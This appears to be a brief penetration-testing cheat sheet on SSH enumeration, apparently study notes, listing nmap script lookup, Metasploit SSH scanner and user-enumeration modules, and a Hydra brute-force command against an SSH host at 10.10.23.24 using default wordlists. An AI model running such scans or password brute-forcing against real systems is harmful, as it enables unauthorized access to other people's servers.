SSH Enumeration

Reconnaissance Service Enumeration linux

Nmap scripts

ls -al /usr/share/nmap/scripts/ | grep ssh-*

Metasploit

search type:auxiliary name:ssh
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers

Hydra bruteforce

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/common_passwords.txt 10.10.23.24 -t 4 ssh